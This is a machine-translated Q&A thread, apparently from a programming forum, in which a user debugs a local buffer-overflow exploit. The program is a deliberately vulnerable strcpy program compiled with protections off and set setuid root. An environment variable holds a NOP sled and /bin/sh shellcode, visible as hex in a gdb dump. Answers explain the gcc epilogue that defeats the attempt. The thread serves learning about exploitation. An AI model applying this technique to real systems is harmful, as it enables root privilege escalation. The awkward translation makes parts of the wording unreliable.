2014-12-20 35 views
1

我正在使用下面的代码尝试通过溢出searchstring变量来执行一些存储在环境变量中的shellcode,以便main的返回地址包含anvironment变量的地址。但是,在printf命令之前,我遇到了分段错误。使用缓冲区溢出执行存储在环境变量中的shellcode

#include <stdio.h> 
#include <string.h> 

void main(int argc, char *argv[]){ 

    char searchstring[100]; 

    if(argc > 1) 
     strcpy(searchstring, argv[1]); 
    else // otherwise 
     searchstring[0] = 0; 

    printf("Here"); 

} 

我编译,以禁用堆栈保护和使栈可执行使用

gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack 

的代码。我还通过修改的/ proc/SYS /内核/ randomize_va_space禁用ASLR为包含0。我也改变所有者和组到根:

sudo chown root:root overflow.o 
sudo chmod u+s overflow.o 

的环境变量包含的shellcode前一个NOP雪橇,我确定地址0xffffd910位于NOP底座的中间。因此我运行该程序使用

./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40') 

但看到一个段错误。

使用gdb我在main上设置了一个断点,然后遍历了指令。发生赛格故障达到之前printf命令,并且赛格故障我看到

(gdb) x/32x $esp 
0xffffd910:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd920:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd930:  0x90909090  0x90909090  0xdb31c031  0xb099c931 
0xffffd940:  0x6a80cda4  0x6851580b  0x68732f2f  0x69622f68 
0xffffd950:  0x51e3896e  0x8953e289  0x0080cde1  0x4d524554 
0xffffd960:  0x6574783d  0x53006d72  0x4c4c4548  0x69622f3d 
0xffffd970:  0x61622f6e  0x58006873  0x4d5f4d44  0x47414e41 
0xffffd980:  0x6d3d4445  0x6f687465  0x6c633d64  0x69737361 

(gdb) x/x $eip 
0x90909090:  Cannot access memory at address 0x90909090 

检查的主要堆栈帧之后立即检查堆栈指针和指令指针(早期发现在地址0xffffd460)确认该地址0xffffd910确实已被复制到搜索字符串:

(gdb) x/32x 0xffffd460 
0xffffd460:  0xffffd49f  0xffffd49e  0xffffd590  0xffffd910 
0xffffd470:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd480:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd490:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd4a0:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd4b0:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd4c0:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd4d0:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 

我不明白为什么堆栈指针和指令指针跳跃,即使主还没有执行完这些位置?另外,为什么指令指针跳转到0x90909090而不是0xffffd910?这是造成分段错误的原因,还是我不知道的一些堆栈保护?

我意识到这是一个人为的例子,但我只是想知道发生了什么。

谢谢!

回答

2

在看过汇编代码后,我已经知道发生了什么。该代码的最后3行是

0x08048485 <+59>: mov ecx,DWORD PTR [ebp-0x4] 
0x08048488 <+62>: leave 
0x08048489 <+63>: lea esp,[ecx-0x4] 
0x0804848c <+66>: ret 

滥searchString的变量会导致在EBP-为0x4的数据通过在环境变量(0xffffd910)的NOP雪橇的地址中途被覆盖。因此,上面的第1行将0xffffd910保存在ecx中。

这意味着在上面的第3行中,ecx-0x4 = 0xffffd910 - 0x4 = 0xffff90c,并且此地址存储在esp中。存储在这个地址的数据是0x90909090(因为我们仍然通过NOP底座的中途)。最后,在上面的最后一行中,这些数据作为main()的返回地址从堆栈中弹出,这就是为什么我们以eip = 0x90909090结束,popping操作意味着esp被移回到0xffff90c + 0x4 = 0xffffd910。

我的错误一直在假设main()函数的行为像返回地址一样。 C没有“返回地址”的概念 - 这些是实现细节 - 并且在我的Arch Linux机器上使用gcc-multilib 4.9.2-1,这就是它的实现方式。

+0

我遇到了同样的问题。该“lea”指令使得eip寄存器指向0x90909090而不是nop底座地址。你有没有找到解决办法? – Michele

1

很奇怪,esp指向你的shellcode。打印“\ x10 \ xd9 \ xff \ xff”是环境变量的地址吗?

它会导致段错误,因为当执行RET时,会执行POP%eip,但%esp指向0x90909090,但当然不能访问此地址。

+0

是“\ x10 \ xd9 \ xff \ xff”是环境变量的地址。是什么导致esp指向这个? – epsilonjon

+0

在我看来它没有任何意义。你可以试试'perl -e'打印“A”x200''?你应该有段错误,看看$ eip = 0x61616161 – Cronovirus

+0

不,我得到一个段错误,但$ esp = 0x4141413d(我不知道从哪里来的3d)。 $ eip保持为RET指令的地址,因为显然$ esp不能被访问。 – epsilonjon